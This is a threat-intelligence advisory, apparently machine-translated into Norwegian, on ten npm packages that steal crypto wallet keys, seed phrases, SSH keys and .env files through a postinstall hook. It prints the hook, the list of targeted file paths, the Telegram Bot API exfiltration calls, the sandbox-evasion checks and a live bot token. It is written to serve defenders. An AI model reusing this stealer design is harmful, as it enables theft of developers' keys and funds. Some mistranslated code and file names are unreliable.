SeedSweep: Ti ondsinnede npm-kryptopakker

SeedSweep: Ti krypto-tema npm-pakker som bare kjører når ingen ser på

TL; DR

9. juni 2026 en enkelt npm-utgiverkonto, aicrypto-xzggg, sendt ti pakker med krypto- og Web3-inspirerte navn – farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, og seks til.

Hver pakke kjører den samme nyttelasten fra en postinstall hook. Ved installasjon sjekker den om den kjører inne i CI eller en sandkasse – hvis ikke, leser den lommeboknøkkellagre, seedphrase-filer, SSH-nøkler og .env filer fra seks blokkjede-økosystemer og overfører dem til en Telegram-bot.

Den eneste indikatoren en forsvarer kan lete etter umiddelbart er Telegram-bot-ID-en. 8227918239.

alvorlighetsgrad: kritisk — direkte tyveri av signeringsnøkler og gjenopprettingsfraser fra utviklerarbeidsstasjoner.

Angrepet: Hvordan det fungerer

Pakkene markedsfører seg selv som verktøy for blokkjedeutvikling. pakke.json er minimal og peker installasjonslivssyklusen mot et skript:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js er en enlinjet shim som laster den virkelige nyttelasten: krever(“../src/index.js”). Fordi etterinstallasjon kjører automatisk under npm installasjon, ingen kodeimport fra utvikleren er nødvendig – det er nok å plassere pakken i et avhengighetstre for å kjøre den.

Drapkjeden inni src/index.js er fire trinn:

  1. Miljøsjekk. En vaktfunksjon avgjør om verten ser ut som en byggeagent eller analysesandkasse.
  2. Forsinkelse. Henrettelsen utsettes etter en setTimeout på omtrent 7.4 sekunder.
  3. Samling. En fast liste over lommebok-, nøkkel- og hemmelige filstier blir gjennomgått; eksisterende filer settes i kø.
  4. Eksfiltrering. Filer i kø sendes til en Telegram-bot, etterfulgt av en sammendragsmelding.

Samlingsmållisten spenner over seks kjeder pluss generiske utviklerhemmeligheter. Trimmet:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Tjueen stier totalt. Katalogoppføringer som ~/.ethereum/nøkkelbutikk utvides, og alle filer inni dem settes i kø. Eksfiltreringen bruker Telegram Bot API direkte – en send melding anrop med et verts- og filsammendrag, deretter en sendDokument flerdelt opplasting for hver fil:

tekst

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Sammendragsmeldingen som koden setter sammen begynner med den litterale strengen KRYPTOSTJELER, etterfulgt av vertsnavn, brukernavn, navn på opprinnelig pakke, filantall og tidsstempel.

Hva er nytt her

Differensieringsmekanismen er ikke tyverimekanismen — Telegram-basert exfil fra npm etterinstallasjon hooks er godt opptråkket. Det er den henrettelsesporten. Før nyttelasten gjør noe, kaller den en funksjon som returnerer sann når verten ligner en CI-løper eller sandkasse, og returnerer tidlig når den gjør det:

tekst

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Container-id-regexen er den bemerkelsesverdige klausulen: et vertsnavn på 12 heksadesimale tegn er standardformen Docker tildeler en container, slik at nyttelasten behandler «vertsnavnet mitt ser ut som en Docker-container» som en grunn til å forbli inaktiv. Kombinert med syv sekunders forsinkelse favoriserer designet å kjøre på en utviklers virkelige arbeidsstasjon og forbli stille overalt som ser ut som automatisert analyse. Det er denne porten som undertrykte dynamiske analysesignaler og beholdt den statiske exfil-flyten som det primære beviset for domfellelse.

Tidslinje

Dato (UTC) Event
2026-06-09 ~02:48 De første pakkene i klyngen ble flagget ved publisering (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Medlemmer med høyere versjoner er flagget (ethereum-kit-9 på 1.25.36, wallet-sdk-9 kl. 3.7.73)
2026-06-09 ~03:58–03:59 Endelige medlemmer flagget (defi-tools-39 på 4.26.29, swap-sdk-87 på 4.63.78, farming-tools-12 kl. 4.68.54)
2026-06-09 Alle ti klassifisert som skadelig og rapportert for fjerning av registeret

Alle ti dukket opp i løpet av omtrent sytti minutter, i samsvar med en enkelt manusbasert publisering som ble kjørt fra én konto.

Indikatorer for kompromiss

Nettverks- og atferdsindikatorer (vert defanget):

Indikator Verdi
Exfil-endepunkt api[.]telegram[.]org (Telegram Bot API)
Telegram-bot-ID 8227918239
Bot-token 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Telegram chat-ID 6433587894
Installer krok postinstallscripts/postinstall.jssrc/index.js
Markørstreng CRYPTO STEALER i den samlede sammendragsmeldingen
Publisher aicrypto-xzggg (oppgitt e-post vipsyria88@gmail[.]com, ubekreftet)

Pakker og versjoner, hver med SHA-256 tilhørende sin src/index.js nyttelast (nyttelastene er funksjonelt identiske og skiller seg bare i den innebygde pakkenavnetiketten, så hver hash er distinkt):

html
Pakke Versjon SHA-256 av src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

En enkel søkeforespørsel: søk i installasjonslogger og låsefiler for et av de ti navnene, og søk i utgående trafikk for tilkoblinger til Telegram Bot API fra bygg- eller utviklerverter som ikke bruker det ellers.

Attribusjon og observert atferd

Alle ti pakkene ble publisert av én konto, aicrypto-xzggg, hvis oppgitte e-postadresse er vipsyria88@gmail[.]comVerken e-postadressen eller kildekontrolllenken er bekreftet i registermetadataene, og kontoen har en sterkt negativ omdømmescore. Vi har ikke bekreftet hvem som driver kontoen.

To detaljer er verdt å skille fra enhver identitetspåstand. For det første, pakke.json forfatter feltlesninger Alex Smith på hver pakke, mens den faktiske publiseringskontoen er aicrypto-xzggg; forfatterfeltet er selvdeklarerte metadata og etablerer ikke forfatterskap. For det andre varierer versjonsnumrene mye – noen medlemmer sitter på 1.0.0, andre på 4.68.54 – noe som er i samsvar med å gjenbruke én nyttelast på tvers av nylig utarbeidede pakkenavn i stedet for å opprettholde ekte utgivelseshistorikker.

Oppførselen er ensartet på tvers av klyngen: samme målsti-liste, samme Telegram-bot-ID og chat-ID, samme miljøport, samme KRYPTOSTJELER markør. Denne ensartetheten er den sterkeste koblingen mellom pakkene. Det er et signal fra samme operatør, ikke en identitet.

Innvirkning, trender og veiledning for forsvarere

Eksponeringen er konkret. En utvikler som installerer noen av disse pakkene på en arbeidsstasjon som inneholder en programvarelommebok, en frøfrasefil eller en SSH-nøkkel, får disse filene lest og overført fra verten i løpet av sekunder. Gjenopprettingsfraser og signeringsnøkler utløper ikke slik et økttoken gjør; når en ... mnemonic.txt eller en Solana id.json forlater maskinen, er midlene den kontrollerer i fare inntil de flyttes. Den samme kjøringen fanger også opp .og V filer, som rutinemessig inneholder API-nøkler og databaselegitimasjon.

To trender ligger bak denne klyngen. Den første er den fortsatte bruken av krypto- og Web3-temanavn for å kurtisere et spesifikt publikum – utviklere som oppbevarer lommebøker og nøkler på samme maskin som de installerer avhengigheter på. Den andre er modningen av sandkasse-unngåelse i nyttelaster under installasjon. En gate som sjekker for CI-miljøvariabler, runner-brukernavn og en Docker-container-ID-vertsnavnform er et bevisst forsøk på å oppføre seg annerledes under analyse enn på en ekte arbeidsstasjon, og det hever standarden for ren dynamisk deteksjon.

For forsvarere:

Installer med skript deaktivert som standard. npm install –ignore-scripts, eller sett ignorer-skript=true in .npmrc, forhindrer etterinstallasjon utførelse; aktiver skript bare for de spesifikke avhengighetene som virkelig trenger dem.

Hold lommebøker og signeringsnøkler unna bygge- og utviklingsmaskiner. Bruk en maskinvarelommebok eller en dedikert, avhengighetsfri signeringsvert.

Behandle .og V, nøkkellagre og frøfrasefiler som kronjuveler. De bør aldri ligge i en katalog som også er en npm installasjon arbeidstre.

Let etter utgående tilkoblinger til Telegram Bot API fra CI og utviklerverter. De fleste byggemiljøer kaller det aldri; et som plutselig gjør det, rett etter en installasjon, er verdt å undersøke.

Fest og gjennomgå avhengigheter. En helt ny pakke med et generisk kryptonavn, en etterinstallasjon hook, og ingen repository-lenke fortjener en titt før den går inn i en låst fil.

Klausulen om container-ID-unngåelse er også en påminnelse for analytikere: en nyttelast under installasjon som forblir inaktiv i en sandkasse er ikke godartet, den er selektiv. Statisk gjennomgang av installasjonsbanen er fortsatt den pålitelige måten å se hva dynamisk utførelse kan nekte å vise.

Referanser

npm installasjonsdokumentasjon — livssyklusskript og –Ignorer-skript— referanse for deaktivering av automatisk installasjon hooks. 

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken